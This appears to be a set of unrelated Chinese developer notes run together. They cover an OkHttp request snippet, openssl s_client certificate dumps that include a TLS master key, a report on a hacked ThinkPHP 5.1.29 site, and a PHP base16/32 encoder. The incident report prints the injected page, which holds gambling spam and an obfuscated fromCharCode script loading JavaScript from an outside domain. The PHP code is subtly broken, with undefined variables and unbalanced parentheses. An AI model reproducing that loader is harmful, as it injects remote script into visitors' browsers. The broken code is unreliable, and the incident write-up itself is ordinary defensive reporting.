相关代码

只是避免遗忘，然后记录下的，具体还是要自己去搜索
```
OkHttpClient okHttpClient = new OkHttpClient();

    //指定媒体类型
    MediaType mediaType = MediaType.parse("application/json");
    RequestBody requestBody = RequestBody.create(mediaType, json);
    Request request = new Request.Builder()
            .url(url)
            .post(requestBody)
            .build();
    okHttpClient.newCall(request).enqueue(new Callback() {
        @Override
        public void onResponse(Call call, Response response) throws IOException {
            SetSuggesRes = response.body().string();

            Log.d("请求成功", SetSuggesRes);

            /**
             * 在Ui线程更新UI
             */
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    requestDialog.hide();//隐藏那个加载对话框

                    try {
                        JSONObject resObj = new JSONObject(SetSuggesRes);

                        if (resObj.getString("RESULT").equals("S")) {
                            showNormalDialog("意见反馈", "意见反馈成功！", 1);
                        } else {
                            showNormalDialog("意见反馈", "意见反馈失败，原因：" + resObj.getString("ERRMSG").toString(), 2);
                        }
                    } catch (JSONException e) {
                        e.printStackTrace();
                        showNormalDialog("意见反馈", "意见反馈失败，原因(远程服务器返回内容不符合预期)：\n"
                                + e.getMessage().toString(), 2);
                    }
                }
            });
        }

        @Override
        public void onFailure(Call call, final IOException e) {
            Log.d("请求失败", e.getMessage().toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    requestDialog.hide();
                    showNormalDialog("意见反馈", "意见反馈失败了，原因：\n" + e.getMessage(), 2);
                }
            });
        }
    });

```

假设我们要查看 nowtime.cc 的证书，其 https 端口为 443

执行命令如下：

openssl s_client -showcerts -connect nowtime.cc:443

运行结果：

自行提取证书了 -----BEGIN CERTIFICATE----- -----END CERTIFICATE-----

首个是根证书
```
C:\Users\chuwen>openssl s_client -showcerts -connect nowtime.cc:443
CONNECTED(00000188)
depth=1 C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = nowtime.cc

verify return:1

Certificate chain
0 s:CN = nowtime.cc
i:C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3
——-BEGIN CERTIFICATE——-
MIIFWzCCBEOgAwIBAgISBN4DHrdBlbZURCO30zWTHNcqMA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0yMDA2MjcwNTIwNDNaFw0y
MDA5MjUwNTIwNDNaMBUxEzARBgNVBAMTCm5vd3RpbWUuY2MwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDsIEKlS36Aay6UwWHLPYmsu9+3G3EA11236AD+
lLXEhEO4tAuc0FV5nliJ7mlXx9STvTtS/zzLqUDRVcWlBeXiS7UHjkvSN+sUU9rI
/osDO/Cd/NXo8DYqwBOZ+2DFX/Um1gi415HN2hEAP3KgbSXRFqiMO5NpXLPBYK7C
LtdpRIcvMtLKlFKmAARsqVd61gsN0WqYWaitnpjwGQG75KlhgJXqml6A7CiTikAS
JdW4vHg4uONqKnJ2qPK9a3b3L01pgqwU5k/NEmxWUrRFveFDqZTvja4ajgILZ9wG
CFUH3+0CpLCVVO7oG5jZ95Y2jzALpyMYotq/iRbxMwfbwhonAgMBAAGjggJuMIIC
ajAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDFRcdtmSz9iTZXpz4D2KNXCqIABMB8G
A1UdIwQYMBaAFKhKamMEfd265tE5t6ZFZe/zqOyhMG8GCCsGAQUFBwEBBGMwYTAu
BggrBgEFBQcwAYYiaHR0cDovL29jc3AuaW50LXgzLmxldHNlbmNyeXB0Lm9yZzAv
BggrBgEFBQcwAoYjaHR0cDovL2NlcnQuaW50LXgzLmxldHNlbmNyeXB0Lm9yZy8w
IwYDVR0RBBwwGoIMKi5ub3d0aW1lLmNjggpub3d0aW1lLmNjMEwGA1UdIARFMEMw
CAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUHAgEWGmh0dHA6Ly9j
cHMubGV0c2VuY3J5cHQub3JnMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcA8JWk
WfIA0YJAEC0vk4iOrUv+HUfjmeHQNKawqKqOsnMAAAFy9G9x2QAABAMASDBGAiEA
8n8ykwTPO0QKEFt6jJeJtfBn2cBMH2iPCHERy1CrR3ACIQDwPZs3YoWk1BlqIeC7
LugFyfjwCwmSKdXY+Ns/s9cdqgB2ALIeBcyLos2KIE6HZvkruYolIGdr2vpw57JJ
Uy3vi5BeAAABcvRvcc4AAAQDAEcwRQIgYW1/ISr9EJY7banQGDSs95RDQcNpE2uh
5pQi2jzRPTMCIQDpzJxIk9YmETGfrqkBnhYHszrtnlZ5P2ThSRs3lpOJTjANBgkq
hkiG9w0BAQsFAAOCAQEAMLVoRspbIOTy72LPBshrWGF3P3o5Z85mhRwKeCHd4w6/
XH3gopnKlQ6epNK/DkviXm+S71q3CgJloLze0PKULG9SkuRBA4LJKrP+QU6xMUgh
W9HqjOU6/+CqOtEMsQqVda7jCwUygLLhpcZJVGx3AiEGnivcUYZnlFraJyFXVe5Z
TDZSUAvcqxduWspfec3jKxdEt+CfLf1+Um1+n1Wid1PWHQzw0ycBYCm3DGKFrtDI
LRsaSaUGH7BdbjHJ/A0380xv6Nb86NdAqT273Wpo97IHA/6H4LNV94pe5hawpht8
Qw2m6DohubBYXBf+4AlgJKZFSPxWdHOd66kD0rBOAg==
——-END CERTIFICATE——-
1 s:C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3
i:O = Digital Signature Trust Co., CN = DST Root CA X3
——-BEGIN CERTIFICATE——-
MIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA/
MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT
DkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0Nlow
SjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMT
GkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EF
q6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan/PQeGdxyGkOlZHP/uaZ6WA8
SMx+yk13EiSdRxta67nsHjcAHJyse6cF6s5K671B5TaYucv9bTyWaN8jKkKQDIZ0
Z8h/pZq4UmEUEz9l6YKHy9v6Dlb2honzhT+Xhq+w3Brvaw2VFn3EK6BlspkENnWA
a6xK8xuQSXgvopZPKiAlKQTGdMDQMc2PMTiVFrqoM7hD8bEfwzB/onkxEz0tNvjj
/PIzark5McWvxI0NHWQWM6r6hCm21AvA2H3DkwIDAQABo4IBfTCCAXkwEgYDVR0T
AQH/BAgwBgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwfwYIKwYBBQUHAQEEczBxMDIG
CCsGAQUFBzABhiZodHRwOi8vaXNyZy50cnVzdGlkLm9jc3AuaWRlbnRydXN0LmNv
bTA7BggrBgEFBQcwAoYvaHR0cDovL2FwcHMuaWRlbnRydXN0LmNvbS9yb290cy9k
c3Ryb290Y2F4My5wN2MwHwYDVR0jBBgwFoAUxKexpHsscfrb4UuQdf/EFWCFiRAw
VAYDVR0gBE0wSzAIBgZngQwBAgEwPwYLKwYBBAGC3xMBAQEwMDAuBggrBgEFBQcC
ARYiaHR0cDovL2Nwcy5yb290LXgxLmxldHNlbmNyeXB0Lm9yZzA8BgNVHR8ENTAz
MDGgL6AthitodHRwOi8vY3JsLmlkZW50cnVzdC5jb20vRFNUUk9PVENBWDNDUkwu
Y3JsMB0GA1UdDgQWBBSoSmpjBH3duubRObemRWXv86jsoTANBgkqhkiG9w0BAQsF
AAOCAQEA3TPXEfNjWDjdGBX7CVW+dla5cEilaUcne8IkCJLxWh9KEik3JHRRHGJo
uM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr/1wXKtx8/
wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so/joWUoHOUgwu
X4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlG
PfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6
KOqkqm57TH2H3eDJAkSnh6/DNFu0Qg==

——-END CERTIFICATE——-

Server certificate
subject=CN = nowtime.cc

issuer=C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3

No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS

Server Temp Key: X25519, 253 bits

SSL handshake has read 3114 bytes and written 392 bytes

Verification error: unable to get local issuer certificate

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent

Verify return code: 20 (unable to get local issuer certificate)

Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 4AA5922EF7050399E3A09DCE51155BB98B51EE253019EFB444C62DA6023B3C2F
Session-ID-ctx:
Resumption PSK: B9B0D50AEFB17628674208CEB490771BBF8130E89DBA67F9BA9B902BEFA2F45658C35A21589F43239DC2672149F8F300
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 600 (seconds)
TLS session ticket:
0000 - e0 1c ce db 80 2b cd b1-11 af 49 73 0b 96 ab cc …..+….Is….
0010 - 4e 25 40 e0 ea 0f 87 25-03 e8 80 6c 92 62 c6 6a N%@….%…l.b.j
0020 - 1e 56 56 2c 10 e4 ad c8-90 4b 68 4c 4d e0 ac 69 .VV,…..KhLM..i
0030 - 13 d1 fa aa 8a b4 29 05-50 12 cf d4 3f e6 1e 08 ……).P…?…
0040 - 69 a3 0c a7 12 47 af 21-a6 e0 85 83 45 d3 c6 c3 i….G.!….E…
0050 - be 72 19 aa db ec 04 ab-d3 33 0c 1b 92 db 3a 5b .r…….3….:[
0060 - 1a 5e c6 ff 61 68 87 fa-e0 00 ce 43 94 b4 5c 64 .^..ah…..C..\d
0070 - 86 7f 56 88 ee 71 91 0b-b3 41 12 0d ae 77 b4 df ..V..q…A…w..
0080 - 61 84 0c 76 bf 12 70 f2-3d b8 b1 48 cd ff e2 7b a..v..p.=..H…{
0090 - ac d8 65 f8 61 c7 e7 8e-d3 06 98 35 fd d5 11 95 ..e.a……5….
00a0 - 91 a2 d8 95 fc b9 5d ed-c2 4b 5d 45 d0 6e 02 99 ……]..K]E.n..
00b0 - b1 2d a5 86 31 54 06 e1-7c 60 dc 81 01 49 9a 0b .-..1T..|`…I..
00c0 - 50 56 87 8d 3b 55 4d 8e-53 db c6 46 59 70 bf d1 PV..;UM.S..FYp..
00d0 - b6 22 d5 36 71 66 d9 69-5d 91 3d 82 78 f7 3a d1 .”.6qf.i].=.x.:.

Start Time: 1594276699
Timeout   : 7200 (sec)
Verify return code: 20 (unable to get local issuer certificate)
Extended master secret: no
Max Early Data: 0

read R BLOCK

Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLSAES_256_GCM_SHA384
Session-ID: C937B1E7244B66542A204A57B63B6EECBEA34922740ACF0E95F8CEE676DAFE80
Session-ID-ctx:
Resumption PSK: 44BC6A3EB2CF2FEC82C1C08C58F25601921C3E8558AFA17ECF37B802B9A02E22B3537B267545803903764156A16FABB6
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 600 (seconds)
TLS session ticket:
0000 - e0 1c ce db 80 2b cd b1-11 af 49 73 0b 96 ab cc …..+….Is….
0010 - 24 07 ff 06 ff 62 e9 3c-fd 31 a1 93 c9 6b 5e 32 $….b.<.1…k^2
0020 - 9f 77 1f 67 1a 95 44 e6-00 73 8f ac 0f 90 37 6f .w.g..D..s….7o
0030 - 6f a1 16 62 50 64 d7 0e-20 1f 5f 75 9f 47 85 98 o..bPd.. ._u.G..
0040 - 84 d9 7b 7f e3 43 a9 d1-4e 58 4d 58 5f 19 8f fb ..{..C..NXMX…
0050 - 4b d1 41 6b 93 45 27 8b-e0 7d a1 64 9b 2a f4 10 K.Ak.E’..}.d.*..
0060 - b3 28 96 49 40 6f 88 27-4f b3 21 5a 38 3e c6 3c .(.I@o.’O.!Z8>.<
0070 - e8 43 f3 eb 69 e7 da be-c4 9a 64 b4 75 ad 79 69 .C..i…..d.u.yi
0080 - 14 4e f8 1f cb 38 5f 33-80 18 ea b4 61 a9 ce ae .N…8_3….a…
0090 - 2d 43 66 83 dc 81 4c 15-7e d7 d3 8e 43 25 b2 16 -Cf…L.~…C%..
00a0 - b0 a5 3d a4 1a f6 2b 5c-79 4b 83 46 77 ec 55 d3 ..=…+\yK.Fw.U.
00b0 - 6b c5 ee 0f 17 46 3a c9-be 90 1f 07 f2 fc e9 2f k….F:……../
00c0 - 67 a5 de d8 ba 1f 6e 75-bb 74 42 b9 35 48 49 98 g…..nu.tB.5HI.
00d0 - 85 25 b9 52 a5 05 e6 7e-e6 b2 5e 20 6e f9 38 35 .%.R…~..^ n.85

Start Time: 1594276699
Timeout   : 7200 (sec)
Verify return code: 20 (unable to get local issuer certificate)
Extended master secret: no
Max Early Data: 0

read R BLOCK


---

# 假设我们要查看 `authme.wechall.net` 的证书，其 https 端口为 443
执行命令如下：

openssl s_client -showcerts -connect authme.wechall.net:443


# 运行结果：

C:\Users\chuwen>openssl s_client -showcerts -connect authme.wechall.net:443
CONNECTED(00000180)
depth=1 C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
verify error:num=19:self signed certificate in certificate chain
verify return:1
depth=1 C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
verify return:1
depth=0 C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net
verify return:1

13132:error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure:ssl\record\rec_layer_s3.c:1536:SSL alert number 40

Certificate chain
0 s:C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net
i:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
——-BEGIN CERTIFICATE——-
MIIELjCCA5cCCQDHMTcVkx1X2jANBgkqhkiG9w0BAQUFADCBkTELMAkGA1UEBhMC
REUxFDASBgNVBAgTC0xvd2VyU2F4b255MQ4wDAYDVQQHEwVQZWluZTEQMA4GA1UE
ChMHV2VDaGFsbDEUMBIGA1UECxMLZGV2ZWxvcG1lbnQxEDAOBgNVBAMTB2dpem1v
cmUxIjAgBgkqhkiG9w0BCQEWE2dpem1vcmVAd2VjaGFsbC5uZXQwHhcNMTQwNzI5
MDk0NjUzWhcNMjQwNzMxMDk0NjUzWjCBoDELMAkGA1UEBhMCREUxFDASBgNVBAgT
C0xvd2VyU2F4b255MRIwEAYDVQQHEwlGcmFua2Z1cnQxEDAOBgNVBAoTB1dlQ2hh
bGwxFDASBgNVBAsTC2RldmVsb3BtZW50MRswGQYDVQQDExJhdXRobWUud2VjaGFs
bC5uZXQxIjAgBgkqhkiG9w0BCQEWE2dpem1vcmVAd2VjaGFsbC5uZXQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDfO6q9GnmHp3zsG+s2HJ/TJc3d5BhL
0UV+6PzfZSY5MFEg76wHPTsrasdn8z8uWQeMWprL3h4EWOlXW3YG9UOLjdvxkxL1
5vLJrxYdCu6jQ+KvoJtRzFXUDZcKjpDfnibgrUc18HW35FF5i2FkTpRFVP0p6INu
m8FsyHfN3NfytDBAZLNqBIDtNvXdZQKRDiJp/90x2Bgj0/TiiO6TzmX0f7Vt5ogb
ft6OhwsQm1HRzA1st1dpi0rTHM5bYw+ulldkY7ILrpES3sSukCBe1dVYxgzXM5xo
09iyPZkXzh+4h+J9Lt4rJlWWvlZJ6qoaC/bWrQE7U0JB9B/GFykguewaIt5QUMEx
njAyTEFzief4209mnCpysoq/yRyRygEMrAGW0jzhmyNWkrvvOiaygT2jICywBMbn
/wn8hQgxwDj5903xUdqtlLjgItcKMQNW3FvurjvDvuS/Vo5X+cQPZFluj28azRZ8
AUKwGuDCp4OiinJRukokC+kY+qLLSbxR9NhVq0Vi6+T/xHKazOwCCZ0w9T7eCldF
OV7Yd85S8FtI0CvD5egs04OfCdnAMW2DK+JGTcSLmdbPGTddk4je9Oqi6QnVi2Yv
hNBaupEOAknl6Yo+bQEXaMwi1sS3uhpmrIxu5p8jdtb4qCkxRcl9dJcUSn/HWK7/
YrgbgPMYMjfA5wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAKiXqEGzNnPq0MxqQLcq
TxOF7H83MIXbHCIM4tJliYRm5wIs/Xg9koBT0Oi2PVXud3a/oOH0NBJTYF8bD0v0
s90fY8496QJs9BSVbTu4QWNZyvFpefBaO1fb0xeGlXFR8GHbUZ73rGLHE9qbZGrX
N7OyHBB6X0gXZ8lZ8nS49k3o
——-END CERTIFICATE——-
1 s:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
i:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
——-BEGIN CERTIFICATE——-
MIIDnDCCAwWgAwIBAgIJAMQYS3CTzcElMA0GCSqGSIb3DQEBBQUAMIGRMQswCQYD
VQQGEwJERTEUMBIGA1UECBMLTG93ZXJTYXhvbnkxDjAMBgNVBAcTBVBlaW5lMRAw
DgYDVQQKEwdXZUNoYWxsMRQwEgYDVQQLEwtkZXZlbG9wbWVudDEQMA4GA1UEAxMH
Z2l6bW9yZTEiMCAGCSqGSIb3DQEJARYTZ2l6bW9yZUB3ZWNoYWxsLm5ldDAeFw0x
NDA3MjkwOTA3MTRaFw0yNDA3MzEwOTA3MTRaMIGRMQswCQYDVQQGEwJERTEUMBIG
A1UECBMLTG93ZXJTYXhvbnkxDjAMBgNVBAcTBVBlaW5lMRAwDgYDVQQKEwdXZUNo
YWxsMRQwEgYDVQQLEwtkZXZlbG9wbWVudDEQMA4GA1UEAxMHZ2l6bW9yZTEiMCAG
CSqGSIb3DQEJARYTZ2l6bW9yZUB3ZWNoYWxsLm5ldDCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAvdoWtpmxsCyhl8BFeZVqVk0JmVrkfls/uQVjzGiZ/9gV8G9A
REhNpQSWIBNdC52qv9xDVJmgGLAJhDL0Qhh7ia4F9W3Gt9ZOjGs4zT7ZkJwdr9r/
1N+7kwt1bd5pUEEiNHrqWppK9nh4DWueoOl/kGpOXRODkrR9lAdWnD+y4Z0CAwEA
AaOB+TCB9jAdBgNVHQ4EFgQUNGqLUeVuzA8iVTd94saA6ALAWMIwgcYGA1UdIwSB
vjCBu4AUNGqLUeVuzA8iVTd94saA6ALAWMKhgZekgZQwgZExCzAJBgNVBAYTAkRF
MRQwEgYDVQQIEwtMb3dlclNheG9ueTEOMAwGA1UEBxMFUGVpbmUxEDAOBgNVBAoT
B1dlQ2hhbGwxFDASBgNVBAsTC2RldmVsb3BtZW50MRAwDgYDVQQDEwdnaXptb3Jl
MSIwIAYJKoZIhvcNAQkBFhNnaXptb3JlQHdlY2hhbGwubmV0ggkAxBhLcJPNwSUw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOBgQCLt0cRKdertOduwl/jfwlT
2eadw5dBtCryDO9d5PTWTkJl89MyYmQszj4Kx7NC2Yc3JklLI2q+XSgTdzn7VJ1W
HM4sC8XboLQttzBkI160Jgl/dYNcjX22vH2h4W8bGlAnq3MCMrjZnFhgWQTosJWh
qovBkUnH+FVo7S9eW+60hg==

——-END CERTIFICATE——-

Server certificate
subject=C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net

issuer=C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net

Acceptable client certificate CA names
C = DE, ST = LowerSaxony, L = Brunswick, O = CSTx, OU = development, CN = authme.wechall.net, emailAddress = christian@wechall.net
C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
Client Certificate Types: RSA sign, DSA sign, ECDSA sign
Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Shared Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Peer signing digest: SHA256
Peer signature type: RSA

Server Temp Key: ECDH, P-256, 256 bits

SSL handshake has read 3056 bytes and written 458 bytes

Verification error: self signed certificate in certificate chain

New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID:
Session-ID-ctx:
Master-Key: 1633D25BB4F817A340857CAF0C283284468941EF791EFDAF62E7F79FFE9C49C1727C5B78DF0DAC36A5C4BAD62CC6FDBB
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: 1594276479
Timeout : 7200 (sec)
Verify return code: 19 (self signed certificate in certificate chain)

Extended master secret: no

```

前言

全怪自己没有跟进更新 ThinkPHP 版本，导致被挂马，用的版本是 ThinkPHP V5.1.29 LTS

我是怎么发现的

也是听别人提起我这个网站，我才知道我还有这个网站，然后习惯的登录下看看，结果发现只有首页能打开，其它都 404，我还以为网站配置问题，我又删除了重新建立站点，发现还是一样

直到我看了下 public/ 目录
Snipaste_2020-07-09_13-19-22.png

我才发现 index.php 文件被删了，只留下 index.html 文件，其文件部分内容是：

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>皇冠BET369,皇冠bet安卓版下载,皇冠bet手机版下载</title>
<meta name="keywords" content="bet皇冠官网,皇冠登陆注册,皇冠真人平台"/>
<meta name="description" content="bet皇冠官网【www.324404.com】皇冠真人平台,皇冠登陆注册,皇冠真人平台,皇冠登陆注册,bet皇冠体育官网,bet皇冠体育下载,皇冠真人平台,皇冠登陆注册,bet皇冠体育官网一直致力于娱乐事业的发展。"/>
<meta property="og:image" content="https://*.nowtime.cc/logo.png"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="****1班"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,101,102,104,102,117,104,49,46,99,111,109,47,51,54,53,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

我还以为是自己写的某个后台没有鉴权，导致上传文件出现漏洞

然后我又网上查了下 ThinkPHP 5 漏洞，然后就找到了这篇文章：ThinkPHP5.x漏洞复现

自己试了试，真能执行任意函数

ThinkPHP V5.1.29 LTS 执行任意函数

看到这我就知道了，是 ThinkPHP 的漏洞，也怪自己不及时更新框架，这个框架从18年11月，使用 Composer 安装后，我就没有更新过了，一年半过去了我才知道…

怎么解决

执行 composer update topthink/framework 更新
执行 composer update topthink/framework 更新

然后问题就解决了
然后问题就解决了

base16/32 加密解密 是在网上找的拼凑的
```
<?php

$encode = [
16 => function ($str) {
$encode = ‘’;
$chars = [‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘A’, ‘B’, ‘C’, ‘D’, ‘E’, ‘F’];
for ($i = 0; $i < strlen($str); $i++) {
$encode .= $chars[(ord($str[$i]) & 0b11110000) >> 4] . $chars[ord($str[$i]) & 0b00001111];
}
return $encode;
},
32 => function ($str) {
$BASE32_ALPHABET = ‘abcdefghijklmnopqrstuvwxyz234567’;
$output = ‘’;
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($str); $i < $j; $i++) {
$v <<= 8;
$v += ord($str[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$output .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);
}
}
if ($vbits > 0) {
$v <<= (5-$vbits);
$output .= $BASE32_ALPHABET[$v];
}
return $output;
},
64 => function ($str) {
return base64_encode($str);
},
];
$decode = [
16 => function ($str) {
$result = ‘’;
for ($i = 0; $i < strlen($str) / 2; $i++) {
$result .= chr(intval(substr($str, $i * 2, 2), 16));
}
return $result;
},
32 => function ($str) {
$output = ‘’;
$v = 0;
$vbits = 0;
for($i = 0, $j = strlen($str); $i < $j; $i++) {
$v <<= 5;
if ($str[$i] >= ‘a’ && $str[$i] <= ‘z’) {
$v += (ord($str[$i]) - 97);
}
elseif ($str[$i] >= ‘2’ && $str[$i] <= ‘7’) {
$v += (24 + $str[$i]);
}
else {
exit(1);
}
$vbits += 5;
while($vbits >= 8){
$vbits -= 8;
$output .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);
}
}
return $output;
},
64 => function ($str) {
return base64_decode($str);
},
];

var_dump($encode16);
var_dump($encode32);
var_dump($encode64);

echo PHP_EOL;

var_dump($decode16));
var_dump($decode32));
var_dump($decode64));
```

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